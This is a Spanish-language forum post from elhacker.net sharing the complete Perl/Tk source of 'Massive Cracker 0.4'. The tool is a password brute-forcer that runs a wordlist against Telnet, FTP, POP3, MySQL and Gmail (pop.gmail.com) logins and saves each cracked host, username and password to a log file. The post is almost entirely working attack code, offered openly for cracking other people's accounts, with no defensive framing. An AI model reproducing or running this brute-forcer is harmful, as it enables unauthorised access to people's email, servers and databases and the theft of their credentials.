elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl Tk] Masive Cracker 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl Tk] Masive Cracker 0.4  (Leído 1,738 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl Tk] Masive Cracker 0.4
« en: 2 Junio 2012, 21:18 pm »

Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.4
  3. #Version Tk
  4. #Coded By Doddy H
  5. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  6. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  7. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  8. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  9. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  10. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  11. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  12.  
  13. use Cwd;
  14. use Tk;
  15. use Tk::FileSelect;
  16. use Tk::Dialog;
  17. use LWP::UserAgent;
  18. use Net::FTP;
  19. use Net::POP3;
  20. use Net::Telnet;
  21. use DBI;
  22. use Mail::POP3Client;
  23. use IO::Socket::SSL;
  24.  
  25. my $nave = LWP::UserAgent->new();
  26. $nave->timeout(5);
  27. $nave->agent(
  28. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  29. );
  30.  
  31. #if ($^O eq 'MSWin32') {
  32. #use Win32::Console;
  33. #Win32::Console::Free();
  34. #}
  35.  
  36. my $color_texto = "green";
  37. my $color_fondo = "black";
  38.  
  39. my $newdax =
  40.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  41.  
  42. $newdax->title("Massive Cracker 0.4");
  43. $newdax->geometry("320x270+50+50");
  44. $newdax->resizable( 0, 0 );
  45.  
  46. $menula = $newdax->Frame(
  47.    -relief     => "sunken",
  48.    -bd         => 1,
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. );
  52. my $menulnowaxaz = $menula->Menubutton(
  53.    -text             => "Options",
  54.    -underline        => 1,
  55.    -background       => $color_fondo,
  56.    -foreground       => $color_texto,
  57.    -activebackground => $color_texto
  58. )->pack( -side => "left" );
  59. my $aboutnowaxaz = $menula->Menubutton(
  60.    -text             => "About",
  61.    -underline        => 1,
  62.    -background       => $color_fondo,
  63.    -foreground       => $color_texto,
  64.    -activebackground => $color_texto
  65. )->pack( -side => "left" );
  66. my $exitnowaxaz = $menula->Menubutton(
  67.    -text             => "Exit",
  68.    -underline        => 1,
  69.    -background       => $color_fondo,
  70.    -foreground       => $color_texto,
  71.    -activebackground => $color_texto
  72. )->pack( -side => "left" );
  73. $menula->pack( -side => "top", -fill => "x" );
  74.  
  75. $menulnowaxaz->command(
  76.    -label      => "Crack",
  77.    -background => $color_fondo,
  78.    -foreground => $color_texto,
  79.    -command    => \&crack
  80. );
  81. $menulnowaxaz->command(
  82.    -label      => "Open Logs",
  83.    -background => $color_fondo,
  84.    -foreground => $color_texto,
  85.    -command    => \&openlogsaz
  86. );
  87. $aboutnowaxaz->command(
  88.    -label      => "About",
  89.    -background => $color_fondo,
  90.    -foreground => $color_texto,
  91.    -command    => \&aboutxaz
  92. );
  93. $exitnowaxaz->command(
  94.    -label      => "Exit",
  95.    -background => $color_fondo,
  96.    -foreground => $color_texto,
  97.    -command    => \&exitnowaz
  98. );
  99.  
  100. #
  101. $newdax->Label(
  102.    -text       => "Host : ",
  103.    -font       => "Impact1",
  104.    -background => $color_fondo,
  105.    -foreground => $color_texto
  106. )->place( -x => 20, -y => 40 );
  107. my $host = $newdax->Entry(
  108.    -width      => 30,
  109.    -background => $color_fondo,
  110.    -foreground => $color_texto
  111. )->place( -x => 70, -y => 43 );
  112. $newdax->Label(
  113.    -text       => "Username : ",
  114.    -font       => "Impact1",
  115.    -background => $color_fondo,
  116.    -foreground => $color_texto
  117. )->place( -x => 20, -y => 70 );
  118. my $username = $newdax->Entry(
  119.    -width      => 20,
  120.    -background => $color_fondo,
  121.    -foreground => $color_texto
  122. )->place( -x => 110, -y => 73 );
  123. $newdax->Label(
  124.    -text       => "Wordlist : ",
  125.    -font       => "Impact1",
  126.    -background => $color_fondo,
  127.    -foreground => $color_texto
  128. )->place( -x => 20, -y => 100 );
  129. my $password = $newdax->Entry(
  130.    -width      => 20,
  131.    -background => $color_fondo,
  132.    -foreground => $color_texto
  133. )->place( -x => 95, -y => 103 );
  134. $newdax->Button(
  135.    -text             => "Browse",
  136.    -width            => 10,
  137.    -command          => \&bronaf,
  138.    -background       => $color_fondo,
  139.    -foreground       => $color_texto,
  140.    -activebackground => $color_texto
  141. )->place( -x => 225, -y => 103 );
  142. $newdax->Label(
  143.    -text       => "Timeout : ",
  144.    -font       => "Impact1",
  145.    -background => $color_fondo,
  146.    -foreground => $color_texto
  147. )->place( -x => 20, -y => 130 );
  148. my $timeout = $newdax->Entry(
  149.    -width      => 10,
  150.    -background => $color_fondo,
  151.    -foreground => $color_texto
  152. )->place( -x => 95, -y => 133 );
  153.  
  154. $newdax->Label(
  155.    -text       => "Service : ",
  156.    -font       => "Impact1",
  157.    -background => $color_fondo,
  158.    -foreground => $color_texto
  159. )->place( -x => 20, -y => 170 );
  160. $newdax->Optionmenu(
  161.    -background       => $color_fondo,
  162.    -foreground       => $color_texto,
  163.    -activebackground => $color_texto,
  164.    -options          => [
  165.        [ FTP    => FTP ],
  166.        [ TELNET => TELNET ],
  167.        [ POP3   => POP3 ],
  168.        [ MYSQL  => MYSQL ],
  169.        [ GMAIL  => GMAIL ]
  170.    ],
  171.    -textvariable => \$service
  172. )->place( -x => 90, -y => 170 );
  173.  
  174. $newdax->Label(
  175.    -text       => "Status : ",
  176.    -font       => "Impact",
  177.    -background => $color_fondo,
  178.    -foreground => $color_texto
  179. )->place( -x => 60, -y => 220 );
  180. my $status = $newdax->Entry(
  181.    -width      => 20,
  182.    -background => $color_fondo,
  183.    -foreground => $color_texto
  184. )->place( -x => 120, -y => 225 );
  185.  
  186. #
  187.  
  188. MainLoop;
  189.  
  190. sub crack {
  191.  
  192.    my $host = $host->get;
  193.    my $user = $username->get;
  194.    my $word = $password->get;
  195.    my $time = $timeout->get;
  196.  
  197.    my $op = $service;
  198.  
  199.    if ( -f $word ) {
  200.  
  201.        $status->configure( -text => " " );
  202.  
  203.        if ( $op eq "TELNET" ) {
  204.  
  205.            my $cont = "0";
  206.  
  207.            my @words = openwordlist($word);
  208.  
  209.            for my $pass (@words) {
  210.                chomp $pass;
  211.                $newdax->update;
  212.                $status->configure( -text => $pass );
  213.                sleep($time);
  214.                $telnet = new Net::Telnet( Errmode => "return" );
  215.                $telnet->open($host);
  216.                if ( $telnet->login( $user, $pass ) ) {
  217.                    $cont = "1";
  218.                    yeah( $host, $user, $pass, "Telnet" );
  219.                }
  220.                $telnet->close;
  221.            }
  222.            if ( $cont eq "0" ) {
  223.                $status->configure( -text => "Not Found" );
  224.            }
  225.        }
  226.  
  227.        elsif ( $op eq "FTP" ) {
  228.  
  229.            my $cont = "0";
  230.  
  231.            my @words = openwordlist($word);
  232.  
  233.            for my $pass (@words) {
  234.                chomp $pass;
  235.                $newdax->update;
  236.                $status->configure( -text => $pass );
  237.                sleep($time);
  238.                $ftp = Net::FTP->new($host);
  239.                if ( $ftp->login( $user, $pass ) ) {
  240.                    $cont = "1";
  241.                    yeah( $host, $user, $pass, "FTP" );
  242.                }
  243.                $ftp->quit;
  244.            }
  245.            if ( $cont eq "0" ) {
  246.                $status->configure( -text => "Not Found" );
  247.            }
  248.        }
  249.        elsif ( $op eq "POP3" ) {
  250.  
  251.            my $cont = "0";
  252.  
  253.            my @words = openwordlist($word);
  254.  
  255.            for my $pass (@words) {
  256.                chomp $pass;
  257.                $newdax->update;
  258.                $status->configure( -text => $pass );
  259.                sleep($time);
  260.                $pop = Net::POP3->new($host);
  261.                if ( $pop->login( $user, $pass ) ) {
  262.                    $cont = "1";
  263.                    yeah( $host, $user, $pass, "POP3" );
  264.                }
  265.                $pop->quit();
  266.            }
  267.            if ( $cont eq "0" ) {
  268.                $status->configure( -text => "Not Found" );
  269.            }
  270.        }
  271.  
  272.        elsif ( $op eq "MYSQL" ) {
  273.  
  274.            my $cont = "0";
  275.  
  276.            my @words = openwordlist($word);
  277.  
  278.            $target = "dbi:mysql::" . $host . ":3306";
  279.  
  280.            for my $pass (@words) {
  281.                chomp $pass;
  282.                $newdax->update;
  283.                $status->configure( -text => $pass );
  284.                sleep($time);
  285.                if ( my $now =
  286.                    DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  287.                {
  288.                    $cont = "1";
  289.                    yeah( $host, $user, $pass, "Mysql" );
  290.                }
  291.            }
  292.            if ( $cont eq "0" ) {
  293.                $status->configure( -text => "Not Found" );
  294.            }
  295.        }
  296.  
  297.        elsif ( $op eq "GMAIL" ) {
  298.  
  299.            my $cont = "0";
  300.  
  301.            my @words = openwordlist($word);
  302.  
  303.            for my $pass (@words) {
  304.                chomp $pass;
  305.                $newdax->update;
  306.                $status->configure( -text => $pass );
  307.                sleep($time);
  308.                my $so = IO::Socket::SSL->new(
  309.                    PeerAddr => "pop.gmail.com",
  310.                    PeerPort => 995,
  311.                    Proto    => "tcp"
  312.                );
  313.  
  314.                my $nave = Mail::POP3Client->new();
  315.  
  316.                $nave->User($user);
  317.                $nave->Pass($pass);
  318.                $nave->Socket($so);
  319.  
  320.                if ( $nave->Connect() ) {
  321.                    $cont = "1";
  322.                    yeah( "pop.gmail.com", $user, $pass, "Gmail" );
  323.                }
  324.  
  325.                $so->close();
  326.                $nave->close();
  327.            }
  328.            if ( $cont eq "0" ) {
  329.                $status->configure( -text => "Not Found" );
  330.            }
  331.  
  332.        }
  333.        else {
  334.        }
  335.    }
  336.    else {
  337.        $newdax->Dialog(
  338.            -title            => "Error",
  339.            -buttons          => ["OK"],
  340.            -text             => "File Not Found",
  341.            -background       => $color_fondo,
  342.            -foreground       => $color_texto,
  343.            -activebackground => $color_texto
  344.        )->Show();
  345.    }
  346. }
  347.  
  348. sub yeah {
  349.  
  350.    my $foundtk = MainWindow->new(
  351.        -background => $color_fondo,
  352.        -foreground => $color_texto
  353.    );
  354.    $foundtk->title("Account Cracked");
  355.    $foundtk->geometry("280x130+20+20");
  356.    $foundtk->resizable( 0, 0 );
  357.  
  358.    $foundtk->Label(
  359.        -text       => "Host : ",
  360.        -font       => "Impact",
  361.        -background => $color_fondo,
  362.        -foreground => $color_texto
  363.    )->place( -x => 20, -y => 20 );
  364.    my $host_found = $foundtk->Entry(
  365.        -width      => 30,
  366.        -background => $color_fondo,
  367.        -foreground => $color_texto
  368.    )->place( -x => 67, -y => 25 );
  369.    $foundtk->Label(
  370.        -text       => "Username : ",
  371.        -font       => "Impact",
  372.        -background => $color_fondo,
  373.        -foreground => $color_texto
  374.    )->place( -x => 20, -y => 50 );
  375.    my $user_found = $foundtk->Entry(
  376.        -width      => 24,
  377.        -background => $color_fondo,
  378.        -foreground => $color_texto
  379.    )->place( -x => 103, -y => 55 );
  380.    $foundtk->Label(
  381.        -text       => "Password : ",
  382.        -font       => "Impact",
  383.        -background => $color_fondo,
  384.        -foreground => $color_texto
  385.    )->place( -x => 20, -y => 80 );
  386.    my $pass_found = $foundtk->Entry(
  387.        -width      => 24,
  388.        -background => $color_fondo,
  389.        -foreground => $color_texto
  390.    )->place( -x => 103, -y => 85 );
  391.  
  392.    $host_found->configure( -text => $_[0] );
  393.    $user_found->configure( -text => $_[1] );
  394.    $pass_found->configure( -text => $_[2] );
  395.  
  396.    savefile( "cracked-logs.txt",
  397.        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  398.  
  399.    last;
  400.  
  401. }
  402.  
  403. sub openwordlist {
  404.  
  405.    my @words;
  406.    my ($file) = @_;
  407.  
  408.    open( FILE, $file );
  409.    my @words = <FILE>;
  410.    close FILE;
  411.  
  412.    return @words;
  413.  
  414. }
  415.  
  416. sub bronaf {
  417.    $newdax->update;
  418.    $browse = $newdax->FileSelect( -directory => getcwd() );
  419.    my $file = $browse->Show;
  420.    $password->configure( -text => $file );
  421. }
  422.  
  423. sub aboutxaz {
  424.    $newdax->Dialog(
  425.        -title            => "About",
  426.        -buttons          => ["OK"],
  427.        -text             => "Coded By Doddy H",
  428.        -background       => $color_fondo,
  429.        -foreground       => $color_texto,
  430.        -activebackground => $color_texto
  431.    )->Show();
  432. }
  433.  
  434. sub openlogsaz {
  435.    my $f = "cracked-logs.txt";
  436.    if ( -f $f ) {
  437.        system($f);
  438.    }
  439.    else {
  440.        $newdax->Dialog(
  441.            -title            => "Error",
  442.            -buttons          => ["OK"],
  443.            -text             => "File Not Found",
  444.            -background       => $color_fondo,
  445.            -foreground       => $color_texto,
  446.            -activebackground => $color_texto
  447.        )->Show();
  448.    }
  449. }
  450.  
  451. sub exitnowaz { exit 1; }
  452.  
  453. sub savefile {
  454.    open( SAVE, ">>" . $_[0] );
  455.    print SAVE $_[1] . "\n";
  456.    close SAVE;
  457. }
  458.  
  459. sub toma {
  460.    return $nave->get( $_[0] )->content;
  461. }
  462.  
  463. sub repes {
  464.    my @limpio;
  465.    foreach $test (@_) {
  466.        push @limpio, $test unless $repe{$test}++;
  467.    }
  468.    return @limpio;
  469. }
  470.  
  471. #The End ?
  472.  
  473.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 4,059 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Pass Cracker By Doddy H
Scripting
BigBear 0 1,607 Último mensaje 8 Octubre 2011, 16:56 pm
por BigBear
[Perl] Hotmail Cracker 0.1 « 1 2 »
Scripting
BigBear 16 7,973 Último mensaje 19 Junio 2012, 13:05 pm
por Saberuneko
[Perl] Gmail Cracker 0.1
Scripting
BigBear 0 2,191 Último mensaje 1 Febrero 2012, 19:25 pm
por BigBear
[Perl] Massive Cracker 0.4
Scripting
BigBear 0 1,827 Último mensaje 2 Junio 2012, 21:18 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines